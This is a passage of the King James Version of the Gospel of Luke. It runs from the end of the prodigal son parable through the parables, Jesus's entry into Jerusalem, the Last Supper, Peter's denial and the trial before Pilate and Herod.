him. + +15:17 And when he came to himself, he said, How many hired servants of +my father's have bread enough and to spare, and I perish with hunger! +15:18 I will arise and go to my father, and will say unto him, Father, +I have sinned against heaven, and before thee, 15:19 And am no more +worthy to be called thy son: make me as one of thy hired servants. + +15:20 And he arose, and came to his father. But when he was yet a +great way off, his father saw him, and had compassion, and ran, and +fell on his neck, and kissed him. + +15:21 And the son said unto him, Father, I have sinned against heaven, +and in thy sight, and am no more worthy to be called thy son. + +15:22 But the father said to his servants, Bring forth the best robe, +and put it on him; and put a ring on his hand, and shoes on his feet: +15:23 And bring hither the fatted calf, and kill it; and let us eat, +and be merry: 15:24 For this my son was dead, and is alive again; he +was lost, and is found. And they began to be merry. + +15:25 Now his elder son was in the field: and as he came and drew nigh +to the house, he heard musick and dancing. + +15:26 And he called one of the servants, and asked what these things +meant. + +15:27 And he said unto him, Thy brother is come; and thy father hath +killed the fatted calf, because he hath received him safe and sound. + +15:28 And he was angry, and would not go in: therefore came his father +out, and intreated him. + +15:29 And he answering said to his father, Lo, these many years do I +serve thee, neither transgressed I at any time thy commandment: and +yet thou never gavest me a kid, that I might make merry with my +friends: 15:30 But as soon as this thy son was come, which hath +devoured thy living with harlots, thou hast killed for him the fatted +calf. + +15:31 And he said unto him, Son, thou art ever with me, and all that I +have is thine. + +15:32 It was meet that we should make merry, and be glad: for this thy +brother was dead, and is alive again; and was lost, and is found. + +16:1 And he said also unto his disciples, There was a certain rich +man, which had a steward; and the same was accused unto him that he +had wasted his goods. + +16:2 And he called him, and said unto him, How is it that I hear this +of thee? give an account of thy stewardship; for thou mayest be no +longer steward. + +16:3 Then the steward said within himself, What shall I do? for my +lord taketh away from me the stewardship: I cannot dig; to beg I am +ashamed. + +16:4 I am resolved what to do, that, when I am put out of the +stewardship, they may receive me into their houses. + +16:5 So he called every one of his lord's debtors unto him, and said +unto the first, How much owest thou unto my lord? 16:6 And he said, +An hundred measures of oil. And he said unto him, Take thy bill, and +sit down quickly, and write fifty. + +16:7 Then said he to another, And how much owest thou? And he said, An +hundred measures of wheat. And he said unto him, Take thy bill, and +write fourscore. + +16:8 And the lord commended the unjust steward, because he had done +wisely: for the children of this world are in their generation wiser +than the children of light. + +16:9 And I say unto you, Make to yourselves friends of the mammon of +unrighteousness; that, when ye fail, they may receive you into +everlasting habitations. + +16:10 He that is faithful in that which is least is faithful also in +much: and he that is unjust in the least is unjust also in much. + +16:11 If therefore ye have not been faithful in the unrighteous +mammon, who will commit to your trust the true riches? 16:12 And if +ye have not been faithful in that which is another man's, who shall +give you that which is your own? 16:13 No servant can serve two +masters: for either he will hate the one, and love the other; or else +he will hold to the one, and despise the other. Ye cannot serve God +and mammon. + +16:14 And the Pharisees also, who were covetous, heard all these +things: and they derided him. + +16:15 And he said unto them, Ye are they which justify yourselves +before men; but God knoweth your hearts: for that which is highly +esteemed among men is abomination in the sight of God. + +16:16 The law and the prophets were until John: since that time the +kingdom of God is preached, and every man presseth into it. + +16:17 And it is easier for heaven and earth to pass, than one tittle +of the law to fail. + +16:18 Whosoever putteth away his wife, and marrieth another, +committeth adultery: and whosoever marrieth her that is put away from +her husband committeth adultery. + +16:19 There was a certain rich man, which was clothed in purple and +fine linen, and fared sumptuously every day: 16:20 And there was a +certain beggar named Lazarus, which was laid at his gate, full of +sores, 16:21 And desiring to be fed with the crumbs which fell from +the rich man's table: moreover the dogs came and licked his sores. + +16:22 And it came to pass, that the beggar died, and was carried by +the angels into Abraham's bosom: the rich man also died, and was +buried; 16:23 And in hell he lift up his eyes, being in torments, and +seeth Abraham afar off, and Lazarus in his bosom. + +16:24 And he cried and said, Father Abraham, have mercy on me, and +send Lazarus, that he may dip the tip of his finger in water, and cool +my tongue; for I am tormented in this flame. + +16:25 But Abraham said, Son, remember that thou in thy lifetime +receivedst thy good things, and likewise Lazarus evil things: but now +he is comforted, and thou art tormented. + +16:26 And beside all this, between us and you there is a great gulf +fixed: so that they which would pass from hence to you cannot; neither +can they pass to us, that would come from thence. + +16:27 Then he said, I pray thee therefore, father, that thou wouldest +send him to my father's house: 16:28 For I have five brethren; that he +may testify unto them, lest they also come into this place of torment. + +16:29 Abraham saith unto him, They have Moses and the prophets; let +them hear them. + +16:30 And he said, Nay, father Abraham: but if one went unto them from +the dead, they will repent. + +16:31 And he said unto him, If they hear not Moses and the prophets, +neither will they be persuaded, though one rose from the dead. + +17:1 Then said he unto the disciples, It is impossible but that +offences will come: but woe unto him, through whom they come! 17:2 It +were better for him that a millstone were hanged about his neck, and +he cast into the sea, than that he should offend one of these little +ones. + +17:3 Take heed to yourselves: If thy brother trespass against thee, +rebuke him; and if he repent, forgive him. + +17:4 And if he trespass against thee seven times in a day, and seven +times in a day turn again to thee, saying, I repent; thou shalt +forgive him. + +17:5 And the apostles said unto the Lord, Increase our faith. + +17:6 And the Lord said, If ye had faith as a grain of mustard seed, ye +might say unto this sycamine tree, Be thou plucked up by the root, and +be thou planted in the sea; and it should obey you. + +17:7 But which of you, having a servant plowing or feeding cattle, +will say unto him by and by, when he is come from the field, Go and +sit down to meat? 17:8 And will not rather say unto him, Make ready +wherewith I may sup, and gird thyself, and serve me, till I have eaten +and drunken; and afterward thou shalt eat and drink? 17:9 Doth he +thank that servant because he did the things that were commanded him? +I trow not. + +17:10 So likewise ye, when ye shall have done all those things which +are commanded you, say, We are unprofitable servants: we have done +that which was our duty to do. + +17:11 And it came to pass, as he went to Jerusalem, that he passed +through the midst of Samaria and Galilee. + +17:12 And as he entered into a certain village, there met him ten men +that were lepers, which stood afar off: 17:13 And they lifted up their +voices, and said, Jesus, Master, have mercy on us. + +17:14 And when he saw them, he said unto them, Go shew yourselves unto +the priests. And it came to pass, that, as they went, they were +cleansed. + +17:15 And one of them, when he saw that he was healed, turned back, +and with a loud voice glorified God, 17:16 And fell down on his face +at his feet, giving him thanks: and he was a Samaritan. + +17:17 And Jesus answering said, Were there not ten cleansed? but where +are the nine? 17:18 There are not found that returned to give glory +to God, save this stranger. + +17:19 And he said unto him, Arise, go thy way: thy faith hath made +thee whole. + +17:20 And when he was demanded of the Pharisees, when the kingdom of +God should come, he answered them and said, The kingdom of God cometh +not with observation: 17:21 Neither shall they say, Lo here! or, lo +there! for, behold, the kingdom of God is within you. + +17:22 And he said unto the disciples, The days will come, when ye +shall desire to see one of the days of the Son of man, and ye shall +not see it. + +17:23 And they shall say to you, See here; or, see there: go not after +them, nor follow them. + +17:24 For as the lightning, that lighteneth out of the one part under +heaven, shineth unto the other part under heaven; so shall also the +Son of man be in his day. + +17:25 But first must he suffer many things, and be rejected of this +generation. + +17:26 And as it was in the days of Noe, so shall it be also in the +days of the Son of man. + +17:27 They did eat, they drank, they married wives, they were given in +marriage, until the day that Noe entered into the ark, and the flood +came, and destroyed them all. + +17:28 Likewise also as it was in the days of Lot; they did eat, they +drank, they bought, they sold, they planted, they builded; 17:29 But +the same day that Lot went out of Sodom it rained fire and brimstone +from heaven, and destroyed them all. + +17:30 Even thus shall it be in the day when the Son of man is +revealed. + +17:31 In that day, he which shall be upon the housetop, and his stuff +in the house, let him not come down to take it away: and he that is in +the field, let him likewise not return back. + +17:32 Remember Lot's wife. + +17:33 Whosoever shall seek to save his life shall lose it; and +whosoever shall lose his life shall preserve it. + +17:34 I tell you, in that night there shall be two men in one bed; the +one shall be taken, and the other shall be left. + +17:35 Two women shall be grinding together; the one shall be taken, +and the other left. + +17:36 Two men shall be in the field; the one shall be taken, and the +other left. + +17:37 And they answered and said unto him, Where, Lord? And he said +unto them, Wheresoever the body is, thither will the eagles be +gathered together. + +18:1 And he spake a parable unto them to this end, that men ought +always to pray, and not to faint; 18:2 Saying, There was in a city a +judge, which feared not God, neither regarded man: 18:3 And there was +a widow in that city; and she came unto him, saying, Avenge me of mine +adversary. + +18:4 And he would not for a while: but afterward he said within +himself, Though I fear not God, nor regard man; 18:5 Yet because this +widow troubleth me, I will avenge her, lest by her continual coming +she weary me. + +18:6 And the Lord said, Hear what the unjust judge saith. + +18:7 And shall not God avenge his own elect, which cry day and night +unto him, though he bear long with them? 18:8 I tell you that he will +avenge them speedily. Nevertheless when the Son of man cometh, shall +he find faith on the earth? 18:9 And he spake this parable unto +certain which trusted in themselves that they were righteous, and +despised others: 18:10 Two men went up into the temple to pray; the +one a Pharisee, and the other a publican. + +18:11 The Pharisee stood and prayed thus with himself, God, I thank +thee, that I am not as other men are, extortioners, unjust, +adulterers, or even as this publican. + +18:12 I fast twice in the week, I give tithes of all that I possess. + +18:13 And the publican, standing afar off, would not lift up so much +as his eyes unto heaven, but smote upon his breast, saying, God be +merciful to me a sinner. + +18:14 I tell you, this man went down to his house justified rather +than the other: for every one that exalteth himself shall be abased; +and he that humbleth himself shall be exalted. + +18:15 And they brought unto him also infants, that he would touch +them: but when his disciples saw it, they rebuked them. + +18:16 But Jesus called them unto him, and said, Suffer little children +to come unto me, and forbid them not: for of such is the kingdom of +God. + +18:17 Verily I say unto you, Whosoever shall not receive the kingdom +of God as a little child shall in no wise enter therein. + +18:18 And a certain ruler asked him, saying, Good Master, what shall I +do to inherit eternal life? 18:19 And Jesus said unto him, Why +callest thou me good? none is good, save one, that is, God. + +18:20 Thou knowest the commandments, Do not commit adultery, Do not +kill, Do not steal, Do not bear false witness, Honour thy father and +thy mother. + +18:21 And he said, All these have I kept from my youth up. + +18:22 Now when Jesus heard these things, he said unto him, Yet lackest +thou one thing: sell all that thou hast, and distribute unto the poor, +and thou shalt have treasure in heaven: and come, follow me. + +18:23 And when he heard this, he was very sorrowful: for he was very +rich. + +18:24 And when Jesus saw that he was very sorrowful, he said, How +hardly shall they that have riches enter into the kingdom of God! +18:25 For it is easier for a camel to go through a needle's eye, than +for a rich man to enter into the kingdom of God. + +18:26 And they that heard it said, Who then can be saved? 18:27 And +he said, The things which are impossible with men are possible with +God. + +18:28 Then Peter said, Lo, we have left all, and followed thee. + +18:29 And he said unto them, Verily I say unto you, There is no man +that hath left house, or parents, or brethren, or wife, or children, +for the kingdom of God's sake, 18:30 Who shall not receive manifold +more in this present time, and in the world to come life everlasting. + +18:31 Then he took unto him the twelve, and said unto them, Behold, we +go up to Jerusalem, and all things that are written by the prophets +concerning the Son of man shall be accomplished. + +18:32 For he shall be delivered unto the Gentiles, and shall be +mocked, and spitefully entreated, and spitted on: 18:33 And they shall +scourge him, and put him to death: and the third day he shall rise +again. + +18:34 And they understood none of these things: and this saying was +hid from them, neither knew they the things which were spoken. + +18:35 And it came to pass, that as he was come nigh unto Jericho, a +certain blind man sat by the way side begging: 18:36 And hearing the +multitude pass by, he asked what it meant. + +18:37 And they told him, that Jesus of Nazareth passeth by. + +18:38 And he cried, saying, Jesus, thou son of David, have mercy on +me. + +18:39 And they which went before rebuked him, that he should hold his +peace: but he cried so much the more, Thou son of David, have mercy on +me. + +18:40 And Jesus stood, and commanded him to be brought unto him: and +when he was come near, he asked him, 18:41 Saying, What wilt thou that +I shall do unto thee? And he said, Lord, that I may receive my sight. + +18:42 And Jesus said unto him, Receive thy sight: thy faith hath saved +thee. + +18:43 And immediately he received his sight, and followed him, +glorifying God: and all the people, when they saw it, gave praise unto +God. + +19:1 And Jesus entered and passed through Jericho. + +19:2 And, behold, there was a man named Zacchaeus, which was the chief +among the publicans, and he was rich. + +19:3 And he sought to see Jesus who he was; and could not for the +press, because he was little of stature. + +19:4 And he ran before, and climbed up into a sycomore tree to see +him: for he was to pass that way. + +19:5 And when Jesus came to the place, he looked up, and saw him, and +said unto him, Zacchaeus, make haste, and come down; for to day I must +abide at thy house. + +19:6 And he made haste, and came down, and received him joyfully. + +19:7 And when they saw it, they all murmured, saying, That he was gone +to be guest with a man that is a sinner. + +19:8 And Zacchaeus stood, and said unto the Lord: Behold, Lord, the +half of my goods I give to the poor; and if I have taken any thing +from any man by false accusation, I restore him fourfold. + +19:9 And Jesus said unto him, This day is salvation come to this +house, forsomuch as he also is a son of Abraham. + +19:10 For the Son of man is come to seek and to save that which was +lost. + +19:11 And as they heard these things, he added and spake a parable, +because he was nigh to Jerusalem, and because they thought that the +kingdom of God should immediately appear. + +19:12 He said therefore, A certain nobleman went into a far country to +receive for himself a kingdom, and to return. + +19:13 And he called his ten servants, and delivered them ten pounds, +and said unto them, Occupy till I come. + +19:14 But his citizens hated him, and sent a message after him, +saying, We will not have this man to reign over us. + +19:15 And it came to pass, that when he was returned, having received +the kingdom, then he commanded these servants to be called unto him, +to whom he had given the money, that he might know how much every man +had gained by trading. + +19:16 Then came the first, saying, Lord, thy pound hath gained ten +pounds. + +19:17 And he said unto him, Well, thou good servant: because thou hast +been faithful in a very little, have thou authority over ten cities. + +19:18 And the second came, saying, Lord, thy pound hath gained five +pounds. + +19:19 And he said likewise to him, Be thou also over five cities. + +19:20 And another came, saying, Lord, behold, here is thy pound, which +I have kept laid up in a napkin: 19:21 For I feared thee, because thou +art an austere man: thou takest up that thou layedst not down, and +reapest that thou didst not sow. + +19:22 And he saith unto him, Out of thine own mouth will I judge thee, +thou wicked servant. Thou knewest that I was an austere man, taking up +that I laid not down, and reaping that I did not sow: 19:23 Wherefore +then gavest not thou my money into the bank, that at my coming I might +have required mine own with usury? 19:24 And he said unto them that +stood by, Take from him the pound, and give it to him that hath ten +pounds. + +19:25 (And they said unto him, Lord, he hath ten pounds.) 19:26 For I +say unto you, That unto every one which hath shall be given; and from +him that hath not, even that he hath shall be taken away from him. + +19:27 But those mine enemies, which would not that I should reign over +them, bring hither, and slay them before me. + +19:28 And when he had thus spoken, he went before, ascending up to +Jerusalem. + +19:29 And it came to pass, when he was come nigh to Bethphage and +Bethany, at the mount called the mount of Olives, he sent two of his +disciples, 19:30 Saying, Go ye into the village over against you; in +the which at your entering ye shall find a colt tied, whereon yet +never man sat: loose him, and bring him hither. + +19:31 And if any man ask you, Why do ye loose him? thus shall ye say +unto him, Because the Lord hath need of him. + +19:32 And they that were sent went their way, and found even as he had +said unto them. + +19:33 And as they were loosing the colt, the owners thereof said unto +them, Why loose ye the colt? 19:34 And they said, The Lord hath need +of him. + +19:35 And they brought him to Jesus: and they cast their garments upon +the colt, and they set Jesus thereon. + +19:36 And as he went, they spread their clothes in the way. + +19:37 And when he was come nigh, even now at the descent of the mount +of Olives, the whole multitude of the disciples began to rejoice and +praise God with a loud voice for all the mighty works that they had +seen; 19:38 Saying, Blessed be the King that cometh in the name of the +Lord: peace in heaven, and glory in the highest. + +19:39 And some of the Pharisees from among the multitude said unto +him, Master, rebuke thy disciples. + +19:40 And he answered and said unto them, I tell you that, if these +should hold their peace, the stones would immediately cry out. + +19:41 And when he was come near, he beheld the city, and wept over it, +19:42 Saying, If thou hadst known, even thou, at least in this thy +day, the things which belong unto thy peace! but now they are hid from +thine eyes. + +19:43 For the days shall come upon thee, that thine enemies shall cast +a trench about thee, and compass thee round, and keep thee in on every +side, 19:44 And shall lay thee even with the ground, and thy children +within thee; and they shall not leave in thee one stone upon another; +because thou knewest not the time of thy visitation. + +19:45 And he went into the temple, and began to cast out them that +sold therein, and them that bought; 19:46 Saying unto them, It is +written, My house is the house of prayer: but ye have made it a den of +thieves. + +19:47 And he taught daily in the temple. But the chief priests and the +scribes and the chief of the people sought to destroy him, 19:48 And +could not find what they might do: for all the people were very +attentive to hear him. + +20:1 And it came to pass, that on one of those days, as he taught the +people in the temple, and preached the gospel, the chief priests and +the scribes came upon him with the elders, 20:2 And spake unto him, +saying, Tell us, by what authority doest thou these things? or who is +he that gave thee this authority? 20:3 And he answered and said unto +them, I will also ask you one thing; and answer me: 20:4 The baptism +of John, was it from heaven, or of men? 20:5 And they reasoned with +themselves, saying, If we shall say, From heaven; he will say, Why +then believed ye him not? 20:6 But and if we say, Of men; all the +people will stone us: for they be persuaded that John was a prophet. + +20:7 And they answered, that they could not tell whence it was. + +20:8 And Jesus said unto them, Neither tell I you by what authority I +do these things. + +20:9 Then began he to speak to the people this parable; A certain man +planted a vineyard, and let it forth to husbandmen, and went into a +far country for a long time. + +20:10 And at the season he sent a servant to the husbandmen, that they +should give him of the fruit of the vineyard: but the husbandmen beat +him, and sent him away empty. + +20:11 And again he sent another servant: and they beat him also, and +entreated him shamefully, and sent him away empty. + +20:12 And again he sent a third: and they wounded him also, and cast +him out. + +20:13 Then said the lord of the vineyard, What shall I do? I will send +my beloved son: it may be they will reverence him when they see him. + +20:14 But when the husbandmen saw him, they reasoned among themselves, +saying, This is the heir: come, let us kill him, that the inheritance +may be ours. + +20:15 So they cast him out of the vineyard, and killed him. What +therefore shall the lord of the vineyard do unto them? 20:16 He shall +come and destroy these husbandmen, and shall give the vineyard to +others. And when they heard it, they said, God forbid. + +20:17 And he beheld them, and said, What is this then that is written, +The stone which the builders rejected, the same is become the head of +the corner? 20:18 Whosoever shall fall upon that stone shall be +broken; but on whomsoever it shall fall, it will grind him to powder. + +20:19 And the chief priests and the scribes the same hour sought to +lay hands on him; and they feared the people: for they perceived that +he had spoken this parable against them. + +20:20 And they watched him, and sent forth spies, which should feign +themselves just men, that they might take hold of his words, that so +they might deliver him unto the power and authority of the governor. + +20:21 And they asked him, saying, Master, we know that thou sayest and +teachest rightly, neither acceptest thou the person of any, but +teachest the way of God truly: 20:22 Is it lawful for us to give +tribute unto Caesar, or no? 20:23 But he perceived their craftiness, +and said unto them, Why tempt ye me? 20:24 Shew me a penny. Whose +image and superscription hath it? They answered and said, Caesar's. + +20:25 And he said unto them, Render therefore unto Caesar the things +which be Caesar's, and unto God the things which be God's. + +20:26 And they could not take hold of his words before the people: and +they marvelled at his answer, and held their peace. + +20:27 Then came to him certain of the Sadducees, which deny that there +is any resurrection; and they asked him, 20:28 Saying, Master, Moses +wrote unto us, If any man's brother die, having a wife, and he die +without children, that his brother should take his wife, and raise up +seed unto his brother. + +20:29 There were therefore seven brethren: and the first took a wife, +and died without children. + +20:30 And the second took her to wife, and he died childless. + +20:31 And the third took her; and in like manner the seven also: and +they left no children, and died. + +20:32 Last of all the woman died also. + +20:33 Therefore in the resurrection whose wife of them is she? for +seven had her to wife. + +20:34 And Jesus answering said unto them, The children of this world +marry, and are given in marriage: 20:35 But they which shall be +accounted worthy to obtain that world, and the resurrection from the +dead, neither marry, nor are given in marriage: 20:36 Neither can they +die any more: for they are equal unto the angels; and are the children +of God, being the children of the resurrection. + +20:37 Now that the dead are raised, even Moses shewed at the bush, +when he calleth the Lord the God of Abraham, and the God of Isaac, and +the God of Jacob. + +20:38 For he is not a God of the dead, but of the living: for all live +unto him. + +20:39 Then certain of the scribes answering said, Master, thou hast +well said. + +20:40 And after that they durst not ask him any question at all. + +20:41 And he said unto them, How say they that Christ is David's son? +20:42 And David himself saith in the book of Psalms, The LORD said +unto my Lord, Sit thou on my right hand, 20:43 Till I make thine +enemies thy footstool. + +20:44 David therefore calleth him Lord, how is he then his son? 20:45 +Then in the audience of all the people he said unto his disciples, +20:46 Beware of the scribes, which desire to walk in long robes, and +love greetings in the markets, and the highest seats in the +synagogues, and the chief rooms at feasts; 20:47 Which devour widows' +houses, and for a shew make long prayers: the same shall receive +greater damnation. + +21:1 And he looked up, and saw the rich men casting their gifts into +the treasury. + +21:2 And he saw also a certain poor widow casting in thither two +mites. + +21:3 And he said, Of a truth I say unto you, that this poor widow hath +cast in more than they all: 21:4 For all these have of their abundance +cast in unto the offerings of God: but she of her penury hath cast in +all the living that she had. + +21:5 And as some spake of the temple, how it was adorned with goodly +stones and gifts, he said, 21:6 As for these things which ye behold, +the days will come, in the which there shall not be left one stone +upon another, that shall not be thrown down. + +21:7 And they asked him, saying, Master, but when shall these things +be? and what sign will there be when these things shall come to pass? +21:8 And he said, Take heed that ye be not deceived: for many shall +come in my name, saying, I am Christ; and the time draweth near: go ye +not therefore after them. + +21:9 But when ye shall hear of wars and commotions, be not terrified: +for these things must first come to pass; but the end is not by and +by. + +21:10 Then said he unto them, Nation shall rise against nation, and +kingdom against kingdom: 21:11 And great earthquakes shall be in +divers places, and famines, and pestilences; and fearful sights and +great signs shall there be from heaven. + +21:12 But before all these, they shall lay their hands on you, and +persecute you, delivering you up to the synagogues, and into prisons, +being brought before kings and rulers for my name's sake. + +21:13 And it shall turn to you for a testimony. + +21:14 Settle it therefore in your hearts, not to meditate before what +ye shall answer: 21:15 For I will give you a mouth and wisdom, which +all your adversaries shall not be able to gainsay nor resist. + +21:16 And ye shall be betrayed both by parents, and brethren, and +kinsfolks, and friends; and some of you shall they cause to be put to +death. + +21:17 And ye shall be hated of all men for my name's sake. + +21:18 But there shall not an hair of your head perish. + +21:19 In your patience possess ye your souls. + +21:20 And when ye shall see Jerusalem compassed with armies, then know +that the desolation thereof is nigh. + +21:21 Then let them which are in Judaea flee to the mountains; and let +them which are in the midst of it depart out; and let not them that +are in the countries enter thereinto. + +21:22 For these be the days of vengeance, that all things which are +written may be fulfilled. + +21:23 But woe unto them that are with child, and to them that give +suck, in those days! for there shall be great distress in the land, +and wrath upon this people. + +21:24 And they shall fall by the edge of the sword, and shall be led +away captive into all nations: and Jerusalem shall be trodden down of +the Gentiles, until the times of the Gentiles be fulfilled. + +21:25 And there shall be signs in the sun, and in the moon, and in the +stars; and upon the earth distress of nations, with perplexity; the +sea and the waves roaring; 21:26 Men's hearts failing them for fear, +and for looking after those things which are coming on the earth: for +the powers of heaven shall be shaken. + +21:27 And then shall they see the Son of man coming in a cloud with +power and great glory. + +21:28 And when these things begin to come to pass, then look up, and +lift up your heads; for your redemption draweth nigh. + +21:29 And he spake to them a parable; Behold the fig tree, and all the +trees; 21:30 When they now shoot forth, ye see and know of your own +selves that summer is now nigh at hand. + +21:31 So likewise ye, when ye see these things come to pass, know ye +that the kingdom of God is nigh at hand. + +21:32 Verily I say unto you, This generation shall not pass away, till +all be fulfilled. + +21:33 Heaven and earth shall pass away: but my words shall not pass +away. + +21:34 And take heed to yourselves, lest at any time your hearts be +overcharged with surfeiting, and drunkenness, and cares of this life, +and so that day come upon you unawares. + +21:35 For as a snare shall it come on all them that dwell on the face +of the whole earth. + +21:36 Watch ye therefore, and pray always, that ye may be accounted +worthy to escape all these things that shall come to pass, and to +stand before the Son of man. + +21:37 And in the day time he was teaching in the temple; and at night +he went out, and abode in the mount that is called the mount of +Olives. + +21:38 And all the people came early in the morning to him in the +temple, for to hear him. + +22:1 Now the feast of unleavened bread drew nigh, which is called the +Passover. + +22:2 And the chief priests and scribes sought how they might kill him; +for they feared the people. + +22:3 Then entered Satan into Judas surnamed Iscariot, being of the +number of the twelve. + +22:4 And he went his way, and communed with the chief priests and +captains, how he might betray him unto them. + +22:5 And they were glad, and covenanted to give him money. + +22:6 And he promised, and sought opportunity to betray him unto them +in the absence of the multitude. + +22:7 Then came the day of unleavened bread, when the passover must be +killed. + +22:8 And he sent Peter and John, saying, Go and prepare us the +passover, that we may eat. + +22:9 And they said unto him, Where wilt thou that we prepare? 22:10 +And he said unto them, Behold, when ye are entered into the city, +there shall a man meet you, bearing a pitcher of water; follow him +into the house where he entereth in. + +22:11 And ye shall say unto the goodman of the house, The Master saith +unto thee, Where is the guestchamber, where I shall eat the passover +with my disciples? 22:12 And he shall shew you a large upper room +furnished: there make ready. + +22:13 And they went, and found as he had said unto them: and they made +ready the passover. + +22:14 And when the hour was come, he sat down, and the twelve apostles +with him. + +22:15 And he said unto them, With desire I have desired to eat this +passover with you before I suffer: 22:16 For I say unto you, I will +not any more eat thereof, until it be fulfilled in the kingdom of God. + +22:17 And he took the cup, and gave thanks, and said, Take this, and +divide it among yourselves: 22:18 For I say unto you, I will not drink +of the fruit of the vine, until the kingdom of God shall come. + +22:19 And he took bread, and gave thanks, and brake it, and gave unto +them, saying, This is my body which is given for you: this do in +remembrance of me. + +22:20 Likewise also the cup after supper, saying, This cup is the new +testament in my blood, which is shed for you. + +22:21 But, behold, the hand of him that betrayeth me is with me on the +table. + +22:22 And truly the Son of man goeth, as it was determined: but woe +unto that man by whom he is betrayed! 22:23 And they began to enquire +among themselves, which of them it was that should do this thing. + +22:24 And there was also a strife among them, which of them should be +accounted the greatest. + +22:25 And he said unto them, The kings of the Gentiles exercise +lordship over them; and they that exercise authority upon them are +called benefactors. + +22:26 But ye shall not be so: but he that is greatest among you, let +him be as the younger; and he that is chief, as he that doth serve. + +22:27 For whether is greater, he that sitteth at meat, or he that +serveth? is not he that sitteth at meat? but I am among you as he +that serveth. + +22:28 Ye are they which have continued with me in my temptations. + +22:29 And I appoint unto you a kingdom, as my Father hath appointed +unto me; 22:30 That ye may eat and drink at my table in my kingdom, +and sit on thrones judging the twelve tribes of Israel. + +22:31 And the Lord said, Simon, Simon, behold, Satan hath desired to +have you, that he may sift you as wheat: 22:32 But I have prayed for +thee, that thy faith fail not: and when thou art converted, strengthen +thy brethren. + +22:33 And he said unto him, Lord, I am ready to go with thee, both +into prison, and to death. + +22:34 And he said, I tell thee, Peter, the cock shall not crow this +day, before that thou shalt thrice deny that thou knowest me. + +22:35 And he said unto them, When I sent you without purse, and scrip, +and shoes, lacked ye any thing? And they said, Nothing. + +22:36 Then said he unto them, But now, he that hath a purse, let him +take it, and likewise his scrip: and he that hath no sword, let him +sell his garment, and buy one. + +22:37 For I say unto you, that this that is written must yet be +accomplished in me, And he was reckoned among the transgressors: for +the things concerning me have an end. + +22:38 And they said, Lord, behold, here are two swords. And he said +unto them, It is enough. + +22:39 And he came out, and went, as he was wont, to the mount of +Olives; and his disciples also followed him. + +22:40 And when he was at the place, he said unto them, Pray that ye +enter not into temptation. + +22:41 And he was withdrawn from them about a stone's cast, and kneeled +down, and prayed, 22:42 Saying, Father, if thou be willing, remove +this cup from me: nevertheless not my will, but thine, be done. + +22:43 And there appeared an angel unto him from heaven, strengthening +him. + +22:44 And being in an agony he prayed more earnestly: and his sweat +was as it were great drops of blood falling down to the ground. + +22:45 And when he rose up from prayer, and was come to his disciples, +he found them sleeping for sorrow, 22:46 And said unto them, Why sleep +ye? rise and pray, lest ye enter into temptation. + +22:47 And while he yet spake, behold a multitude, and he that was +called Judas, one of the twelve, went before them, and drew near unto +Jesus to kiss him. + +22:48 But Jesus said unto him, Judas, betrayest thou the Son of man +with a kiss? 22:49 When they which were about him saw what would +follow, they said unto him, Lord, shall we smite with the sword? +22:50 And one of them smote the servant of the high priest, and cut +off his right ear. + +22:51 And Jesus answered and said, Suffer ye thus far. And he touched +his ear, and healed him. + +22:52 Then Jesus said unto the chief priests, and captains of the +temple, and the elders, which were come to him, Be ye come out, as +against a thief, with swords and staves? 22:53 When I was daily with +you in the temple, ye stretched forth no hands against me: but this is +your hour, and the power of darkness. + +22:54 Then took they him, and led him, and brought him into the high +priest's house. And Peter followed afar off. + +22:55 And when they had kindled a fire in the midst of the hall, and +were set down together, Peter sat down among them. + +22:56 But a certain maid beheld him as he sat by the fire, and +earnestly looked upon him, and said, This man was also with him. + +22:57 And he denied him, saying, Woman, I know him not. + +22:58 And after a little while another saw him, and said, Thou art +also of them. And Peter said, Man, I am not. + +22:59 And about the space of one hour after another confidently +affirmed, saying, Of a truth this fellow also was with him: for he is +a Galilaean. + +22:60 And Peter said, Man, I know not what thou sayest. And +immediately, while he yet spake, the cock crew. + +22:61 And the Lord turned, and looked upon Peter. And Peter remembered +the word of the Lord, how he had said unto him, Before the cock crow, +thou shalt deny me thrice. + +22:62 And Peter went out, and wept bitterly. + +22:63 And the men that held Jesus mocked him, and smote him. + +22:64 And when they had blindfolded him, they struck him on the face, +and asked him, saying, Prophesy, who is it that smote thee? 22:65 And +many other things blasphemously spake they against him. + +22:66 And as soon as it was day, the elders of the people and the +chief priests and the scribes came together, and led him into their +council, saying, 22:67 Art thou the Christ? tell us. And he said unto +them, If I tell you, ye will not believe: 22:68 And if I also ask you, +ye will not answer me, nor let me go. + +22:69 Hereafter shall the Son of man sit on the right hand of the +power of God. + +22:70 Then said they all, Art thou then the Son of God? And he said +unto them, Ye say that I am. + +22:71 And they said, What need we any further witness? for we +ourselves have heard of his own mouth. + +23:1 And the whole multitude of them arose, and led him unto Pilate. + +23:2 And they began to accuse him, saying, We found this fellow +perverting the nation, and forbidding to give tribute to Caesar, +saying that he himself is Christ a King. + +23:3 And Pilate asked him, saying, Art thou the King of the Jews? And +he answered him and said, Thou sayest it. + +23:4 Then said Pilate to the chief priests and to the people, I find +no fault in this man. + +23:5 And they were the more fierce, saying, He stirreth up the people, +teaching throughout all Jewry, beginning from Galilee to this place. + +23:6 When Pilate heard of Galilee, he asked whether the man were a +Galilaean. + +23:7 And as soon as he knew that he belonged unto Herod's +jurisdiction, he sent him to Herod, who himself also was at Jerusalem +at that time. + +23:8 And when Herod saw Jesus, he was exceeding glad: for he was +desirous to see him of a long season, because he had heard many things +of him; and he hoped to have seen some miracle done by him. + +23:9 Then he questioned with him in many words; but he answered him +nothing. + +23:10 And the chief priests and scribes stood and vehemently accused +him. + +23:11 And Herod with his men of war set him at nought, and mocked him, +and arrayed him in a gorgeous robe, and sent him again to Pilate. + +23:12 And the same day Pilate and Herod were made friends together: +for before they were at enmity between themselves. + +23:13 And Pilate, when he had called together the chief priests and +the rulers and the people, 23:14 Said unto them, Ye have brought this +man unto me, as one that perverteth the people: and, behold, I, having +examined him before you, have found no fault in this man touching +those things whereof ye accuse him: 23:15 No, nor yet Herod: for I +sent you to him; and, lo, nothing worthy of death is done unto him. + +23:16 I will therefore chastise him, and release him. + +23:17 (For of necessity he must release one unto them at the feast.) +23:18 And they cried out all at once, saying, Away with this man, and +release unto us Barabbas: 23:19 (Who for a certain sedition made in +the city, and for murder, was cast into prison.) 23:20 Pilate +therefore, willing to release Jesus, spake again to them. + +23:21 But they cried, saying, Crucify him, crucify him. + +23:22 And he said unto them the third time, Why, what evil hath he +done? I have found no cause of death in him: I will therefore chastise +him, and let him go. + +23:23 And they were instant with loud voices, requiring that he might +be crucified. And the voices of them and of the chief priests +prevailed. + +23:24 And Pilate gave 